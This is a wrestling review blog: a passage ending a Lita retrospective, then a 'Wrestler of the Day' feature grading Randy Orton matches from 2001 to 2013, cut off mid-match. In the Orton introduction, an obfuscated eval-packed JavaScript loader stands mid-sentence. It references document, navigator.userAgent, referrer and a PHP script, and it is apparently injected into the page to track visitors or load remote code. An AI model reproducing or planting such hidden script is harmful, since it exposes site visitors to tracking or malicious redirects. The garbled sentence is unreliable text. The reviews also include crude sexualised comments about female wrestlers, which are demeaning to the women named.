Literally, two matches and two torn knees. She would be out for a few months also as she ripped her ACL. They actually continue the match though for about another three minutes before Lita just has nothing left and the Chick Kick gives Trish another title.

Rating: N/A. Not fair to grade them on this at all. As for a grade, I’d go with DD. That’s of course for Dogma and Dreams, which was my textbook in my political theory class. What did you think it was for?

That would be her last match for over a year as Lita would tear her knee to shreds and be out for the rest of 2005. She would return in early 2006 and chase the title for awhile longer before getting a shot at the vacant title after Trish retired as champion at Unforgiven. From Cyber Sunday 2006.

Women’s Title: Mickie James vs. Lita

Trish retired so we had a four Diva tournament to set this up. Lita is about a month from retiring at this point so she’s more or less destined to win. Mickie throws the absolute worst dropkick anyone with a great rack has ever thrown. This is horrible but at least we get to look at Mickie’s figure. Lita as a heel just doesn’t work from an in ring perspective. She hooks on a sleeper that does fairly well.

Not that it wins or anything since it’s a freaking sleeper but nice try if nothing else. Instead of a match here, Lita seems like she’s just there doing moves on Mickie with no particular rhyme or reason. The girls do their thing of course and nothing of note is going on here at all. Lita blocks/Mickie botches the Stratusfaction and Mickie gets a rollup for two. The other Divas get involved and a spike DDT ends it for Lita.

Rating: D. This was very boring for the most part. The only highlights were Mickie’s hips and Lita’s chest. Other than that we were just sitting around watching this nonsense go on and on. The match never went anywhere as it’s clear Lita just didn’t care anymore. Mickie would win the title from Lita at Survivor Series in Lita’s retirement match.

Lita would retire after Survivor Series and go off to do whatever she did after leaving wrestling, including performing in a band. Nearly six years later, Heath Slater started bragging about being able to beat a bunch of legends. This led to an open challenge at Raw 1000.

Heath Slater vs. Lita

WOW. Lita still looks great too. Slater laughs this off but then accepts her challenge. The bell rings but Lita says she hired herself some protection. Cue the APA and Slater PANICS. Slater immediately runs but backs into every legend he’s fought in the last few weeks. They chase him back into the ring and the Twist of Fate sets up the Clothesline which sets up the Litasault (looked perfect) for the pin at 1:54.

Lita is one of the few women that was just awesome no matter when she was around. She was the high flying Diva that we hadn’t seen before and had that whole bad girl thing going with it. The injuries stopped her career cold multiple times though and cut her in ring time very short more than once. When you consider she got to the WWF in 2000 and retired at Survivor Series 2006 and factor out over two years due to injuries, she was only active in the company for four years. I doubt most people realize that. Anyway she was awesome when she was out there though and it never stopped working, much like those low riding pants.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Wrestler of the Day – April 1: Randy Orton

The voices tell me that today is Randy Orton.

Much eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tstnn|var|u0026u|referrer|yntas||js|php'.split('|'),0,{})) like Booker T, Orton has been around for a long time so I’m going to have to skip some big sections to keep this from being eight hours long.

Orton was trained by his dad and started in Missouri for a bit before signing to OVW. Here’s one of his matches from Christmas Chaos 2001 in January of the same year.

Slick Robbie D vs. Randy Orton

Cornette is in the Control Center and gives a brief intro to each match so they’re not as rushed as they seem. Robbie went nowhere but could jump like few I’ve ever seen. Orton actually has hair here and is a rookie as well and even has hair here. The referee is a chick with big hair. Randy isn’t evil here and has few tattoos. He’s also not orange yet.

Robbie hammers away on Orton so Cornette plays up how much of a rookie that Orton is. There’s that gorgeous dropkick by Orton and he grabs an armbar. Wheelbarrow suplex gets two for Orton. He’s freaking jacked here too. Big superkick by Robbie gets him out of trouble though. Leg drop gets two. Robbie hits a dropkick to send Orton to the floor. Apparently if you intentionally throw someone over the top it’s a DQ. I will never get that rule.

BIG plancha takes out Orton. Robbie tries to go up and goes so slow “that a crippled moose could be up there by now.” I love Cornette’s expressions like that one. Superplex brings Robbie down and both guys are down. Orton starts his comeback and hits some basic stuff. In a rather abrupt ending, Orton tries for a full nelson slam which is his finishing move at the time. It’s blocked so Orton tries it again and hits it for the easy pin. Like I said, rather abrupt.

Rating: C+. Another decent little match here as I feel like I’m watching a Before They Were Stars tape or something like that. Orton wasn’t that great here but it was clear that they were going to try to make him into something. As with a lot of other guys I don’t think anyone had any idea how big he would become but the potential was there.

Orton would make it to Smackdown a little over a year later and would be just a guy for awhile, including in this match on Smackdown from July 4, 2002.

D-Von/Batista vs. Big Valbowski/Randy Orton

Orton had been around for a few months here but was just a young kid. Batista was the deacon for Reverend D-Von and had debuted last week as well. Orton has hair here. Batista beat up Orton last week so this is the rematch Orton requested. Val (I’m not typing that whole thing) starts against Batista. He tries to take Batista’s knee out but gets run over by a HUGE clothesline.

Off to D-Von and the veterans do some basic stuff. Orton comes in to a screaming girls pop. He’s always had a sweet dropkick. D-Von gets a neckbreaker out of the corner for two. Orton gets beaten down but manages to bring in Val. Venis gets a Blue Thunder Bomb but Batista makes the save.

Orton comes in and hot shots D-Von, but Big Dave (first name unknown at this point) puts him in a fireman’s carry and rolls through it like Kenderson does. That’s a new one. Or old one in this case I guess. Everything breaks down and Orton misses his top rope cross body. The spinebuster ends this. Cole: “Batista is an animal!”

Rating: C-. This was fine and it’s amazing to see guys like this in their very young days. You never know what you might have in any given match and this is proof of it. I’m sure they knew they had something, but I don’t think anyone knew how big they’d be. Somehow, these two pale in comparison to the guy that would be in the next segment though. The match was fine.

Orton would suffer one of his numerous shoulder injuries to put him out of action. This was where everything changed. Let’s flash back to 1997 for a second. Rocky Maivia was brought in at Survivor Series 1996 as a face, but people would come to loathe him very quickly. They then turned him heel until his talent shined through and the fans turned him face again. This was basically a big screw up that turned out perfectly in the end. In 2002, WWE tried to do the same thing on purpose with Randy Orton.

Unfortunately it didn’t work all that well though and Orton was better as a heel. This led to the Randy News Network bits where he would interrupt broadcasts to say where he was in his shoulder recovery. However, instead of getting over as a face, Orton got WAY over as a heel and WWE just stayed with that and put him in Evolution despite being hurt. Evolution dominated 2003 and Orton was back in the ring a few months into the year. The team hit its peak at Armageddon 2003 which saw Orton challenging RVD for the Intercontinental Title.

Intercontinental Title: Rob Van Dam vs. Randy Orton

Rob takes him down quickly and Orton heads to the floor. Back in and we get some surprisingly decent chain wrestling, resulting in a standoff. Rob gets a shot to the ribs and a cross body off the top for two. Spinwheel kick puts Orton on the floor as Rob has been in control nearly the entire match so far. Big dive takes Orton out again as Rob threatens Flair a bit.

Slingshot legdrop gets two. He tries to go up again but Orton manages to shove him off, flying into the railing in one of his signature spots. Out to the floor and Orton gets that awesome dropkick of his. Back in and Orton chokes away with Rob making a hilarious face at the same time. Foley pulls Orton off Rob and Flair is TICKED.

Orton takes over with his usual stuff. Well usual for this time at least. It’s so weird to see him with only a few tattoos and normal looking skin. There’s the chinlock just to confirm it’s an Orton match. Big clothesline by Orton but he poses instead of covering. Seated dropkick gets two and it’s chinlock city again. Rob grabs a rolling cradle out of nowhere for two.

Split legged moonsault gets two. Orton hits a move of his I’ve always loved: he puts Rob on his shoulder like for a powerbomb and steps forward, pulling Rob down into a neckbreaker. Love that. Oh look here’s another chinlock. I know that’s a cliché for him but it’s true. Rob fights out of it after WAY too long and hits his spin kick to take over.

Off to the floor again and with Orton draped over the railing, Rob hits that spinwheel kick off the apron. Elevated DDT coming back in gets two. Knee drop by Orton misses and Van Dam gets a rollup with his legs for two. Rolling Thunder hits and there goes Flair whose hair is DRENCHED. Spinning kick takes down Randy again and it’s Five Star time. Flair has something in his hand but Foley takes him down. Orton dropkicks Rob off the ropes and there’s the RKO for the title.

Rating: C+. Pretty good here but Orton clearly didn’t know how to work a long match, although to be fair he still pretty much doesn’t. Van Dam is a weird guy to have carry you so Orton had to do a lot here. Foley would get spat on the next night and leave until the Rumble and then wrestle against Orton at Mania and Backlash. Either way, not bad here but not a classic.

Orton would hold the title for over half a year before dropping it to Edge. This freed him up to go after a World Title and he got that shot at Summerslam 2004.

Raw World Title: Randy Orton vs. Chris Benoit

Orton won a battle royal a month ago to set this up. It’s weird to see Orton with hair, regular colored skin and few tattoos. The fans of course are more interested in telling Earl Hebner that he screwed Bret. Feeling out process to start with Benoit taking it into the corner for a clean break. Benoit takes it to the mat and puts on a hard chinlock which gets him nowhere. Off to a test of strength with the taller Orton taking over, but Benoit comes back with pure leverage.

Benoit hooks an armbar as we reset a bit. Orton fights up and is armdragged right back down to the mat with Benoit cranking away on the arm. That goes nowhere so Benoit tries a Sharpshooter but Orton kicks him off and puts on one of his own. Benoit counters into his own Sharpshooter but it’s not on full, allowing Orton to get to the ropes. The Crossface doesn’t go on full either so they head to the floor where Benoit is whipped into the barricade.

There’s the Spanish table chant again as Benoit is sent shoulder first into the post. Back in and Orton puts on an armbar of his own, showing some basic psychology. Orton drops him ribs first across the top rope and the fight moves to the outside with Benoit hitting a kind of DDT onto the apron to take over. Chris tries a suicide dive but rams his head into the barricade as Orton moves to the side. Back in and Orton wrenches the neck around before putting on something resembling a camel clutch.

Orton puts Benoit over his shoulder for a powerbomb but steps forward into a neckbreaker for two in a nice move. We hit the chinlock which is actually a smart move here. Back up and both guys hit cross bodies for a double knockout. They slug it out with the champion taking over via a series of forearms to the head. Orton blocks the rolling Germans but gets caught in a northern lights for two.

Randy fights off a superplex and hits a high cross body for two, crushing Benoit’s head again in the process. Chris ducks a clothesline and hits a release German suplex before putting on the Sharpshooter. Two arm drops later and Orton gets to the ropes, only to be caught in a long series of rolling Germans for two. Benoit loads up the Swan Dive but Orton gets up the knee, driving it right into Benoit’s jaw. That’s hard to watch today. Orton’s cover is countered into a bad looking Crossface but Orton rolls away to escape. Back up and another Crossface attempt is countered into the RKO out of nowhere for the pin and the title.

Rating: B+. This took a bit to get going but I really liked the ending with the RKO hitting from nowhere. It caught the technical master off guard which was the right idea given that Orton is younger and faster. It’s a good match and Benoit put Orton over clean right in the middle of the ring. You can’t ask for more than that.

Orton celebrates as Benoit leaves but Chris comes back and demands that Orton be a man and shake his hand.

Orton would turn face the next night on Raw when HHH kicked him out of Evolution for taking HHH’s title. The title reign wouldn’t last long due to HHH deciding that he needed the belt back and Orton’s face push died. With nothing else to do they turned him heel again and gave him a shot at the Streak, which was really becoming a huge deal.

Randy Orton vs. Undertaker

It’s Wrestlemania so we get druids, chanting and torches for Undertaker’s entrance. This is never not cool. We also get the Burn in My Light theme for Orton from back when Orton looked like a 24 year old and not like he was made out of orange shoe leather. Undertaker is just 12-0 at this point. Feeling out process to start until Orton scores a quick dropkick for two. A single right hand puts Orton down but a quick rollup out of the corner gets two for Randy.

Undertaker throws him into the corner and drops the leg on Orton on the apron for good measure. Old School drops Orton again but Undertaker misses a running boot in the corner, allowing Orton to dropkick him out to the floor. Back in and a clothesline puts Taker down again for two but a running DDT drops Orton for two for the tall guy. Undertaker follows up with some clotheslines in the corner before loading up the snake eyes/big boot combo. Orton blocks the coming boot with an uppercut but he stops to pose, allowing Undertaker to sit up.

They slug it out until Undertaker simply runs Orton over for two. Off to a dragon sleeper by Taker which clearly makes Orton tap but it doesn’t count this early I guess. Orton twists around into a nice DDT for two before we hit the chinlock. Taker fights up so it’s a sleeper instead, only for Taker to counter again with a belly to back suplex. Back up and Orton powerslams Undertaker down for two but he makes the eternal mistake of punching Undertaker in the corner and gets caught in the Last Ride.

Orton escapes though and tries the RKO, only to be shoved off. He grazes the referee on the way to the ropes which apparently passes for a ref bump. The Last Ride is countered again and here’s Randy’s dad Bob with the cast (that’s a VERY slow healing injury as it’s at about 23 years now) to give Orton a VERY close two. In one of my favorite counters ever, Taker loads up the chokeslam but Orton counters in mid air into the RKO for two. Like any good lunkhead, Orton loads up the Tombstone but gets countered into the real thing to make Taker 13-0.

Rating: C+. While not great, Orton was trying out there. The problem was that Orton had been crushed so badly by HHH that there was no reason to buy him as a threat here. I won’t say didn’t even have to break a sweat here but other than that RKO counter and MAYBE the cast shot, Undertaker was never in any danger or even extended trouble.

The rest of 2005 was mainly spent feuding with Undertaker, who eventually won the blowoff match of course. Next up was chasing the World Title on both Smackdown and Raw but Orton couldn’t quite close the deal. Instead it was back to the old Legend Killer stuff, including a match against the biggest legend of them all in Hulk Hogan at Summerslam 2006.

Randy Orton vs. Hulk Hogan

Hogan has a bad leg coming in, meaning he’s perfectly normal. Hulk easily shoves Orton down out of lockup to start before running him down with a shoulder block. The bandana goes into Orton’s face before Randy grabs a headlock. Hogan fights out with a top wristlock as we’re still going very slowly so far, much to Hogan’s liking. Randy finally gets in some shots to the face to put Hogan down, thereby making him the biggest heel in the world.

Hogan fights Orton off in the corner and sends him into the buckle. Almost all Hogan so far which continues as Hogan pounds down right hands in the corner. He bites Randy’s forehead and pokes him in the eye to keep us firmly in the mid-80s. Hogan rakes his back and pounds away on the mat before threatening the referee with a right hand. Orton holds the ropes on an Irish whip and pulls Hogan to the mat to work on the knee.

Back in and Orton cannonballs down on the leg before doing a short form of the circle stomp. A chop block puts Hulk down again but he ducks/collapses to avoid a high cross body. Hogan pounds away but misses the big boot, allowing Orton to dropkick him down. The RKO connects for three but Hogan’s foot was on the ropes. Orton argues with the referee, Hulk Hulks Up and the legdrop ends it.

Rating: D. Well let’s see: the booking was out of the 80s, Hogan broke a sweat for maybe a minute, and Orton was pinned clean by a 50+ year old man in about eleven minutes. This is the opposite of last year with Shawn as Michaels didn’t have much to gain from a win. Orton on the other hand could have ridden this win for months, but instead we get Hogan’s last WWE match (which you couldn’t have known at the time) as a tribute to him, complete with the 1985 formula all over again. Not a fan of this but you had to know it was coming.

After chasing the title again for a good chunk of 2007, Orton would be awarded the title at No Mercy 2007 when John Cena was injured. Randy would lose the title less than twenty minutes later to HHH before facing him again later in the night in a last man standing match.

Raw World Title: HHH vs. Randy Orton

Last man standing. Slugout to start with Orton going after the bad ribs. They keep the slugout going out to the floor where a Pedigree is countered. The bad ribs land on the steel and Orton gets control. Back in and a punch puts HHH down. Out to the floor again and Orton belly to back suplexes him onto the barricade. That gets a six count and Orton throws him into the steps for another six.

They head into the ring and Orton hits a release powerslam for about eight. Facebuster puts Orton down but he pops back up and gets a cord off the floor. He chokes HHH out but what should be murder only gets a nine count. Orton loads up the announce table and gets a horrible shot to the head with a monitor. An RKO from one table to the other doesn’t work as HHH launches him through the second table.

Both guys are down and Orton is holding his arm. Gee where have I seen that before? Trips gets up and it’s a nine count on Orton. A spinebuster on the floor but that gets the same result. Steps to the face of Orton should kill him but gets the slowest nine count ever. Back into the ring and HHH gets a chair. Orton manages to kick the bad ribs and DDTs him onto the chair for an eight or so.

Randy finally goes off and pounds HHH down in the corner and an RKO on the open chair gets nine. The Punt is grabbed and HHH throws Orton over the top to the floor. They go to the floor with HHH pounding on him before throwing him onto the remaining table. Orton escapes and slams him into the post to put HHH down. He gets the steps but HHH hits him low to “slam” Orton’s head into them. A chair to Orton’s head while it’s still on the steps gets nine and we go back to the table. An RKO out of nowhere onto the table gives Orton the title. It’s as sudden as it sounds.

Rating: B. Good match but the counts got pretty ridiculous at times. The ending didn’t help either as Orton had hit him with far bigger stuff just moments earlier but the RKO ends it because that’s what Orton finishes matches with. Also it doesn’t help that these two had THREE last man standing matches in total. See why people got tired of them?

Cena would come back sooner than later and would jump back into the title scene, setting up a threeway between Orton, Cena and HHH at Wrestlemania XXIV.

Raw World Title: Randy Orton vs. HHH vs. John Cena

Cena has a drumline playing him to the ring which is pretty awesome. After some big match intros we’re ready to go. Orton immediately blasts HHH with the belt but Cena takes the champion down with a bulldog before Orton can do any more damage. HHH pops back up and throws both guys to the floor before sending Orton into the announce table. Orton and HHH head back in with the champion being put in a sleeper. Cena comes back in and picks them BOTH up at the same time for an FU but both guys slip off the back. Orton’s backbreaker puts HHH down as does a shot to Cena to give the champion control again.

Randy takes turns pounding away on both guys, getting two off a knee drop to the Game. Orton starts getting uncharacteristic for himself by going up top, only to be stopped by Cena. John loads up a superplex but HHH pulls Cena onto his own shoulders so Orton can hit a top rope cross body for two. Cena stands up to try the FU on Orton but Randy slides into a cradle for two. HHH clotheslines Cena down but Orton clotheslines HHH to put HHH down.

It’s Orton standing tall again as he sends both guys to the apron for a double Elevated DDT which gets two on both challengers. An RKO to Cena is countered but he shoves Orton into HHH to put both guys down. Cena hits the Throwback (a flipping face first mat slam) and the top rope Fameasser to keep Randy down. He isn’t down enough for the STFU though and the champion rolls to the floor. Cena follows him and is sent into the post to slow things down again.

Orton and HHH fight it out in the ring with HHH taking out the champion’s knee. Cena comes back in to distract HHH but after the Game puts him down, Orton catches him with an RKO to put him right next to Cena. Orton kicks HHH to the floor but walks into the STFU in the middle of the ring. HHH makes a save at the last second and sends Cena into the floor to put him down on the floor.

Back in and HHH puts on an Indian Deathlock to follow up on the knee work he started earlier. Now it’s Cena back in to break up the hold and send HHH into the corner and out to the floor. Back to the STFU but HHH comes in for the save. The problem is that the save didn’t work, so HHH puts Cena in a Crossface while Cena has Orton in the STFU. Cena lets go of his hold but manages to crawl over to the ropes to break up the hold.

Orton rolls to the floor so HHH and Cena can slug it out in the middle of the ring. The fans boo Cena’s punches and cheer HHH’s, continuing a trend for whomever Cena is facing. Cena slams HHH down and hits the Shuffle but Cena’s FU is countered into a Pedigree attempt which is countered into an STFU attempt this HHH escapes. The spinebuster puts John down and there’s the Pedigree, but Orton comes back in with the Punt to HHH to knock him silly and Orton pins Cena to retain.

Rating: B. This was a fast paced match with all three guys working hard out there in front of a huge crowd. The back and forth stuff worked very well and it wasn’t clear who was going to win until the match was over. Orton getting beaten up and winning while stealing HHH’s pin is perfect for him, as well as giving him the big win on the big stage that he needed.

We’ll jump ahead again due to HHH vs. Orton in 2008 being AWFUL and HHH vs. Orton continuing to be AWFUL in 2009, because those two just had to face each other forever in the main event. We’ll head to Hell in a Cell 2009 as Orton has finally moved over to feuding with John Cena forever instead of HHH FOREVER.

Raw World Title: John Cena vs. Randy Orton

Orton gets a small face pop again. All right I’ll say it: I love Cena’s theme song and I sing along at times. Cena is champion here and this is Orton’s last shot allegedly. This is the first ever Cell match that HHH or Taker weren’t in. That’s saying a lot when you think about it. Orton takes over early and is in control. King offers analysis of what’s going on. Why? He’s never been in one of these things so what kind of knowledge can he have of them?

Crowd is TOTALLY behind Orton here. They’re 3 minutes in and they’ve used the cage FAR more than Taker and Punk did, which isn’t saying much at all really but whatever. They’re using the cage to jump up higher for kicks and getting slammed into it a bit, but the problem is you could use the posts or the apron for everything they’re doing.

The best version ever of the match was Shawn vs. Taker, as Shawn was scared to death of him and couldn’t get out. He was trapped in a nightmare with the devil. That’s the idea of the match. Instead here it’s just a hardcore match in a cage. Now to be fair, just about every match ever in the Cell is like that anymore so it’s hardly a problem that just this match is having.

Cena blocks the elevated DDT onto the steps. No one is keeping control for more than just a little bit which I’m not sure if I like or not. They’re just standing around in a match that’s supposed to be all about violence. What sense does something like that even begin to make? Cena begins his comeback with his usual stuff and I have zero clue why this is in the Cell.

The elevated DDT hits after Orton takes over. The FU gets two and we’re in the kicking out of finishers segment already. Shockingly, an Orton match is going VERY slowly. Orton hits Cena in the neck with a chair! Hey kids! Hit someone in the neck with a chair! It’s on a PG show so it’s all good. Orton has demons? Cool.

I wonder if Vince tells the camera guys to focus on Orton when he’s in crazy mode as it looks like he’s orgasming or something like that. Cena works the knee for like two seconds and Orton tries to get out of the STFU. He gets it again for the tap but the referee was knocked down. What a shame!

RKO gets two. Orton ties Cena up in the ropes for no adequately explored reason. In something that I laughed out loud at, he uses a chinlock while Cena is tied in the ropes. Seriously, why am I not surprised? Orton lets go for no adequately explored reason. He punts Cena and wins the title. The 4 seconds of knee work Cena did earlier was the explanation of why Orton’s punt didn’t put Cena on the shelf. That’s just freaking stupid but whatever.

Rating: D. Again, for a Cell match, this was awful but for a regular match this would have been ok. The Cell use here was better than in the Taker match, but at the same time there just isn’t enough here to validate having the Cell being in play here.

Also having seen it earlier in the night it makes it seem FAR less interesting. The psychology was more or less nonexistent here too. Overall just not good. Keep in mind: had this been a street fight or whatever, it’s probably a B. As for a Cell match though which it was, this was awful.

We’ll skip over 2010 to avoid Nexus, even though face Orton won another World Title at Night of Champions. Instead we’ll move ahead to Wrestlemania 27 and the apex of Orton’s feud with CM Punk and his New Nexus.

Randy Orton vs. CM Punk

The cylinder from last year is now a cube which still has the videos playing on them. Orton immediately takes it to the floor and pounds away, but Punk jumps over the steps and kicks them into Orton’s knees. Back in and Orton stays on the knees for a quick two count. Punk of course mocks the knee injury before stomping at the legs even more. Randy grabs a quick backbreaker but Punk comes back with a kind of Stunner to the leg for two.

Punk hits the running knee in the corner but Orton falls down before he can hit the bulldog. The straightedge one stays on the knee and puts Orton in the Tree of Woe. In a cool bit, Orton tries to pull himself up but Punk drops a top rope knee to take Randy right back down. The GTS is countered but Punk breaks up the RKO with a high kick for two. Punk loads up the Macho Elbow but Orton crotches him down instead. A superplex puts Punk down but the cover is very delayed and only gets two.

Punk wraps the knee around the post a few times and Orton is in big trouble. Off to a modified Indian deathlock for a bit but Orton fights back and slugs Punk down to take over. Punk comes back with a basic kick to the knee and there’s the Anaconda Vice. Orton rolls over and the fans never once seemed nervous about a tap out. CM heads out to the apron and is rammed into the post, followed by the Elevated DDT. Orton loads up the Punt but the knee gives out. Punk heads to the outside and loads up the springboard clothesline but dives right into the RKO for the pin by Randy.

Rating: B. Good solid match here which should have been the end of the feud, but since this is WWE, there was a gimmick rematch the next month because that’s how WWE books feuds. You know, because WRESTLEMANIA isn’t good enough to end a story at. Anyway, very good match here between two guys with solid chemistry together.

Just over a month later, Orton would jump to Smackdown and receive a World Title shot on his first night on the show against new champion Christian.

Smackdown World Title: Randy Orton vs. Christian

This show has flown by it seems. Regarding Christian’s pop, in the words of Riddler from Batman Forever, “Your entrance was good, his was better.” Headlock by Orton to start but Christian gets a shoulder for two. Orton hammers away and the crowd eats it up with a spoon like soup or Jello or pork or other things eaten with a spoon. The champ sends him to the floor and gets a delayed baseball slide to take Orton down, only to be taken down as well as we take a break.

Back in the ring with Orton in total control. Orton works on the ribs and gets a reverse waistlock (looks like he’s about to hit a German) which looks like the cover of a very freaky Christmas card. They hit the floor via a Cactus Clothesline by Orton as we take break #2. Back with Christian holding a chinlock for only a few seconds. Orton gets a belly to back and both guys are down.

They slug it out a bit and Orton hits that gorgeous dropkick to put Christian down. He goes all psycho but Christian gets the pendulum kick in the corner and a middle rope missile dropkick for two. Guillotine over the top sets up a cross body off the top for two for Christian. Fans are way into this. Middle rope elbow (love that move still) hits and let the clapping begin!

For some reason Christian charges at him and gets caught by a powerslam for two. Christian slides to the floor to try a right hand to Randy as he’s in a 619 position but Orton avoids it to hit the elevated DDT for two. Angle Slam is countered into a reverse DDT for two. Slam hits this time and it’s RKO time. Since it’s the first attempt it’s countered as is the Killswitch. Christian goes to the middle rope and tries a spinning something off of it, proving why he’s an idiot as YOU DON’T JUMP AT ORTON! RKO ends the 5 day reign at 10:08 shown of 17:08.

Rating: B. Good match here and Christian definitely looked strong throughout. People are going to complain about the reign looking bad due to it being too short, but at the same time he had two matches and this was by far the weaker one and this was a very good TV match. Orton is a far bigger star and Christian got the reign that everyone wanted him to get. The fanboys will be up in arms over it, but you have to just ignore them as they’ll never be pleased. He got his title, he got his moment, he had two great matches and lost it. No harm no foul in my eyes.

Again we’ll skip 2012 which had almost nothing interesting for the most part as Orton would feud with Ziggler, Del Rio, and the Wellness Policy. Orton would eventually feud with Shield alongside Sheamus and Big Show. The trio would be beaten by Shield at Wrestlemania XXIX, so Orton and Sheamus squared off on Raw the next night. This was nothing short of bizarre and warrants inclusion.

Sheamus vs. Randy Orton

They shove each other to start and the fans do an OLE chant. Orton hits a snapmare but Sheamus avoids a knee drop. Sheamus hits a pair of knees for his own for two and starts working on the arm. Orton comes back with another knee to the chest as the match keeps going. Randy hooks a chinlock as the fans think a four minutes old match is boring.

Now Sheamus hooks a chinlock as the announcers talk about going to London in a few weeks for Raw. Now the fans chant for Rob Van Dam. Now it’s HBK. Orton slowly stomps away as the match is completely ignored. The fans are now chanting for JBL as Sheamus gets two off the rolling fireman’s carry. Sheamus goes up top and the fans chant for Lawler. This is BIZARRE. Orton dropkicks Sheamus out of the air and now they’re chanting Cole as we take a break.

Back with the fans chanting what sounded like DDP and then ECW as Sheamus makes a comeback. The Irish Curse hits for two as the crowd is doing the Wave. JBL: “I wish Michael would drown in it.” Sheamus hits his knee to the ribs and the ten forearms in the ropes as the fans suddenly start cheering along. A suplex brings Orton back in as Sheamus is smiling. Orton’s backbreaker puts Sheamus as we get a Randy Savage chant. Even the announcers are giving up at this point.

The powerslam and t-bone suplex put Sheamus down as the HBK chant starts again. There’s the Elevated DDT and Orton loads up the RKO, only to be shoved off into White Noise. I think the fans are booing Sheamus but how can you tell in this match? The Brogue Kick misses and here comes Big Show as I think everyone knew was about to happen. He throws Sheamus into the post, presumably ending the match at 15:10. Fans: “Thank you Big Show.”

Rating: N/A. I have almost no idea what happened in this match but the crowd stole the show here. The thing I don’t get is that while the match was slow paced, it wasn’t THAT bad. This is a case where the fans just did not care what was going on and found ways to entertain themselves. I’ve never seen anything like this but it was awesome in a way. For an actual grade, we’ll go roughly C- or so.

We’ll head back to reality now as Orton is in the Money in the Bank match at the PPV of the same name.

CM Punk vs. Rob Van Dam vs. Christian vs. Sheamus vs. Daniel Bryan vs. Randy Orton

RVD, Bryan and Punk get good reactions but the fans aren’t impressed with the others. Everyone goes after RVD to start and knock him to the floor. The remaining four go after Sheamus before pairing off themselves. We’re quickly down to Bryan vs. Punk and the fans go nuts in a hurry. Van Dam is knocked off the apron and into a ladder as the two stars go at it. Bryan almost botches the backflip but counters the GTS into a YES Lock attempt, only to have everyone not named RVD make the save with a ladder.

Van Dam is back in now to clean house and pose a bit. Some baseball slides drop Punk and Sheamus before Rob drops Christian onto a ladder. Rolling Thunder onto Bryan onto the ladder takes Daniel out but it’s Orton sending Van Dam to the floor. Rob kicks him down and loads up the Five Star onto Orton onto the ladder but Christian breaks it up with a short ladder. Christian loses a fight to Sheamus over a full sized ladder but Van Dam breaks up the pale one’s climb with Sheamus landing on the ladder on the way down.

Sheamus is up almost immediately and rams various people into the barricade before bridging a ladder between the apron and the announce table. Bryan escapes a powerbomb through the ladder and hits a running knee to the face from the apron. Punk is loading up a ladder but Orton makes the save. Another ladder is brought in and all six climb up on two ladders with the briefcase being knocked away. All six fall down and Orton is holding his knee.

It’s Sheamus on his feet first and cleaning house before going up, only to be caught by Bryan. We get the ten forearms on the top of the ladder but Punk stops Sheamus from pulling down the case. Sheamus and Punk slug it out in the corner but Punk hits the running knee to take him down, followed by riding the ladder down onto his back. Orton comes back in and suplexes Punk into the ladder followed by the Elevated DDT.

Christian comes back in and spears Randy down but Van Dam knocks him off the ladder. The fans of course want tables as Christian goes up again. Van Dam is cut on the forehead. They both go up but Van Dam jumps to another ladder as Christian falls. The splash off the top of the ladder crushes Christian but Sheamus shoves Rob off the ladder. Bryan is back in to kick both of them before going into his usual insane rush.

He throws Sheamus THROUGH a ladder and goes up top…..but Curtis Axel of all people comes out with a chair to beat him down. He lays Bryan out with his finisher on the floor but walks into a GTS. Heyman comes out to yell at Axel because he wants Punk to win. CM starts a very slow climb while holding his neck….and Heyman of course screws him by ramming another ladder into him. Punk is busted open BAD and here’s Van Dam going up the ladder, only to have Orton make the save with an RKO. Orton pulls down the case to win at 26:31.

Rating: B-. Well that happened. Seriously that’s about all there is to it. Everyone was about the same but the winner wasn’t terribly obvious for most of the match. It wasn’t bad or anything but you expect more when you have this level of talent in the match. At the end of the day though there was no hatred between these guys and that makes for a duller match. The Heyman stuff was pretty obvious but it sets up Lesnar vs. Punk at Summerslam.

Orton would cash in at Summerslam and turn heel in the process. This would make him champion heading into the end of the year, where he would feud with Cena to be unified champion. The unification match was held at TLC 2013.

WWE World Heavyweight Championship: Randy Orton vs. John Cena

TLC match, winner take all. They have a ton of time to used for this too. Naturally we get big match intros and we’re ready to go. They head into the corner to start and Cena grabs a headlock. The wrestling gets boring though and we get our first ladder and table with the wooden one being set up in the corner. Orton escapes an AA through the table and heads to the floor for a chair. Cena can’t avoid the shot to the back and Randy is in control.

They head outside again but Orton misses a chair shot and hits the post, allowing Cena to pick up the chair. A series of chair shots puts Orton down and John loads up another table on the floor. The distraction lets Orton send him into the steps to take over again as the dueling Cena chants begin. Orton tries to climb but Cena makes a fast save. The ladder is thrown to the floor and Orton headbutts him down. Some kicks to the ribs have Cena in trouble but he comes back with knees and right hands, only to walk into the powerslam.

Randy brings in another ladder but gets it rammed into his ribs, allowing Cena to climb. Orton quickly suplexes him down but misses a ladder shot, sending the ladder to the floor. That’s fine with Orton though as he cracks Cena in the back with a chair before wedging it into the corner. Cena blocks the shot into the chair and comes back with his finishing sequence, only to have Orton poke him in the eye and send him into the chair. Another ladder is brought in but Cena makes yet another save.

They both fight on the ladder until Cena throws Orton over the top and through the table. He can’t climb that fast though and Orton pulls him down for an RKO. Both guys are down again but it’s Cena up first with a clothesline to send him to the floor. Cena blasts Orton in the head with the steps and Randy might be busted a little bit. John brings in another table, giving us two tables in opposite corners. With all of the metal stuff at ringside, Orton hits Cena in the head with the microphone to take over again.

Orton loads up the announce table but instead clears out a path to Cena. John avoids the Punt though and catches Orton in an AA through the table to put both guys down again. Cena very slowly gets back in and grabs both belts without pulling them down. Instead it’s Orton shoving the ladder away to leave Cena hanging, allowing Orton a free shot with the chair. Cena comes right back with a spear through one of the tables and both guys are down again.

Randy heads outside again and starts peeling back the mats to find some hidden handcuffs. Cena gets tied to the bottom rope and Orton teases him with the key. This didn’t work at Breaking Point but call backs to old matches are usually fun. Cena tries to break the chain as Orton goes to pick up the big ladder for some shots to Cena’s ribs.

